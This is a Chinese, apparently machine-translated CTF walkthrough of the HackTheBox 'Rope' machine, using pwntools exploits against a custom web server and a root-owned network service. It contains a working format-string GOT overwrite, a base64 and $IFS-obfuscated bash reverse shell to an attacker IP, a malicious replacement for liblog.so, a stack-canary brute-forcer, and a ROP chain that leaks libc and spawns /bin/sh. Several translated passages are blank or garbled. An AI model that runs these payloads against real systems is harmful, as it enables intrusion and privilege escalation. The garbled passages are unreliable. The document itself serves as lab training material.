砍箱子。演练绳索。PWN。使用pwntools格式化字符串和ROP

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案

在本文中,我们收集了许多pwn,我们将使用pwntools解决这些问题。我认为这对了解此主题的读者来说将是有用的。开始吧...

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您将与知道信息安全领域知识的人进入专用网络:)

组织信息
, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.148,我将其添加到/ etc / hosts中。

10.10.10.148    rope.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A rope.htb -p22,9999

图片

主机运行SSH和Web服务器。我们将上网,并会收到授权表格。

图片

当查看目录扫描时,我们得到一个未索引的目录/(http://rope.htb:9999 //)。

图片

在目录/ opt / www中,我们找到了可执行文件-这是我们的Web服务器。

图片

HTTPserver PWN


下载它,并查看checksec具有什么保护。

图片

因此,我们有一个具有所有激活的保护的32位应用程序,即:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

由于我们可以读取服务器上的文件,因此可以读取此可执行文件的流程图。这将为我们提供以下问题的答案:

  1. 程序下载到哪个地址?
  2. 她在哪个地址加载库?

来做吧。

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

图片

因此,我们有两个地址:0x56558000和f7ddc000。同时,我们获得了所使用的libc库的路径,也下载了它。现在,考虑发现的所有内容,我们将创建一个漏洞利用模板。

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

现在,使用方便的反汇编程序(使用反编译器)打开文件本身进行分析。我将IDA与许多插件结合使用,在坐下来进行深入分析之前,我更喜欢研究可以收集经过验证的插件的所有内容。LazyIDA就是其中之一。对于“扫描格式字符串漏洞”的查询,我们得到一个带有潜在漏洞功能的标牌。

图片

从使用此插件的经验来看,我立即提请注意第二行(其format参数)。我们转到该函数的使用地并对其进行反编译。

图片

并猜测得到证实,该行仅传递给printf函数。让我们找出这个字符串是什么。让我们转到log_access函数的调用位置。

图片

因此,我们对第三个参数感兴趣,该参数将IDA标记为文件。而且,仅通过查看对此变量的交叉引用,我们才能获得所有问题的答案。

图片

因此,这是指向字符串的指针-打开以供读取的文件的名称。由于此变量是执行parse_request()函数的结果,因此该文件已打开以供读取,并且整个程序都是Web服务器,因此我们可以假定这是服务器上请求的页面。

curl http://127.0.0.1:9999/qwerty

图片

让我们检查格式字符串漏洞。

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

图片

精细!让我们定义偏移量(输出末尾需要发送多少个p指定符以获得0x41414141-AAAA)。

图片

我们得到53。检查一切正确。

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

图片

我们无法获取本地外壳程序,但是可以执行命令,例如,抛出反向外壳程序:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

但是为了避免任何不舒服的字符,我们将其编码为base64,然后shell调用将如下所示:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

最后,用$ IFS构造替换所有空格。我们获得了执行反向连接所需执行的命令。

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

让我们将其添加到代码中:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

现在回到我们的格式字符串。由于putsf是在printf()之后调用的,因此我们可以将其在GOT中的地址重写为libc中系统函数的地址。多亏了pwntools,这很容易做到。假设您可以使用binary.got ['puts']获取puts函数的相对地址,也可以通过系统:libc.symbols ['system']函数轻松获得。关于格式行和GOT,我在有关pwn的文章中详细介绍过,因此在这里我们仅使用pwntools收集格式行:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

我们收集最终的有效载荷:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

我们连接并发送:

p = remote(host,port)
p.send(payload)
p.close()

完整的代码如下所示。

图片

让我们执行代码并进行反向连接。

图片

图片

用户


让我们检查sudo设置以执行没有密码的命令。

图片

而且我们看到您可以代表用户r4j执行读取日志。该应用程序中没有漏洞,也不存在GTFOBins。让我们看看应用程序使用的库。

图片

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

图片

也就是说,我们可以写入这些文件。让我们来编写我们的库。

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

现在编译它。

gcc -c -Wall -Werror -fpic liblog.c

并收集图书馆。

Gcc -shared -o liblog.so liblog.o

然后,我们将文件上传到主机,覆盖库并执行程序。

图片

因此,我们带走了用户。


要列出系统,我们使用linpeas。

图片

因此,在localhost上,端口1337正在侦听。

图片

如您所见,我们的用户是adm组的成员。让我们看一下该组可用的文件。

图片

有一个有趣的文件。这是侦听端口的程序。

图片

在这种情况下,该应用程序将以root身份运行。

图片

下载应用程序本身及其使用的libc库。请注意,ASLR在主机上处于活动状态。

图片

检查应用程序具有什么保护。

图片

全部最大化。也就是说,如果我们发现缓冲区溢出,则需要对Canary进行暴力破解(在退出函数以检查缓冲区完整性之前检查的值),并且作为一种利用漏洞的技术,我们将使用ROP(我对此进行了详细介绍)在这里)。让我们使用方便的反编译器在任何反汇编程序中打开程序(我使用IDA Pro)。我们反编译主函数main。

图片

金丝雀的一个例子是变量v10,它在函数的开头设置。让我们看看sub_1267函数负责什么。

图片

因此,在这里我们打开端口进行监听。您可以将其重命名为is_listen();我们走得更远。以下用户定义的函数是sub_14EE。

图片

发送之前,还有另一个用户功能。我们看着她。

图片

因此,在此函数中,最多接收0x400字节的字符串并将其写入缓冲区。对buf变量的注释指示相对于当前堆栈帧的基础地址(rbp)-[rbp-40h],而变量v3(canary)具有相对地址[rbp-8h],因此,对于缓冲区溢出,我们需要更多的[rbp- 8h]-[rbp-40h] = 0x40-8 = 56个字节。

因此,该计划如下:

  1. 查找并溢出缓冲区;
  2. 放下金丝雀,锐步和裂口;
  3. 由于PIE已激活,因此您需要找到实际的偏移量;
  4. 查找内存泄漏以计算加载库的地址;
  5. 收集ROP,其中标准描述符流将被重定向到程序的网络描述符,然后通过系统功能调用/ bin / sh。

1.缓冲区溢出


如下所示,当传输56个字节时,程序继续正常工作,但是传输57个字节时,我们得到一个异常。因此,违反了缓冲区的完整性。

图片

让我们制作一个漏洞利用模板。由于有必要进行大量整理和重新连接,因此我们将禁用pwntools(log_level)消息输出。

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2,金丝雀,RBP,RIP


如我们所知,在缓冲区的56个字节之后,有一个canary,在堆栈之后有RBP和RIP地址,这也需要进行排序。让我们编写一个8字节的匹配函数。

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

因此我们可以编写pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.派


现在让我们处理PIE。我们发现了RIP-这是我们从函数返回的返回地址。因此,我们可以从中减去代码中的返回地址。

图片

因此,与基准的偏移量为0x1562。让我们指出正在运行的应用程序的真实地址。

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4.内存泄漏


该应用程序使用标准的write()函数显示提示字符串,该提示字符串包含输出句柄,缓冲区及其大小。我们可以使用这个功能。

为了方便起见,让我们使用pwntools的ROP模块。简而言之,下图显示了该方法的工作原理和原因。

图片

让我们泄漏一下,这将使我们知道加载的libc库中写函数的地址。

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5,ROP


让我们更改libc库的基地址,然后找到行/ bin / sh的地址。

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

仍然需要收集ROP,其中标准I / O描述符(0,1,2)将被重定向到程序(4)中注册的描述符。之后将调用系统功能,我们将在其中传递行/ bin / sh的地址。

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6.操作
完整的利用代码。

图片

现在,在服务器上,将ssh密钥写入文件/home/r4j/.ssh/authorizef_keys。

图片

并转发端口(确保从本地端口1337的连接通过SSH重定向到远程主机的端口1337)。

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

并启动漏洞利用程序。

图片

我们扎根工作。

您可以通过Telegram加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles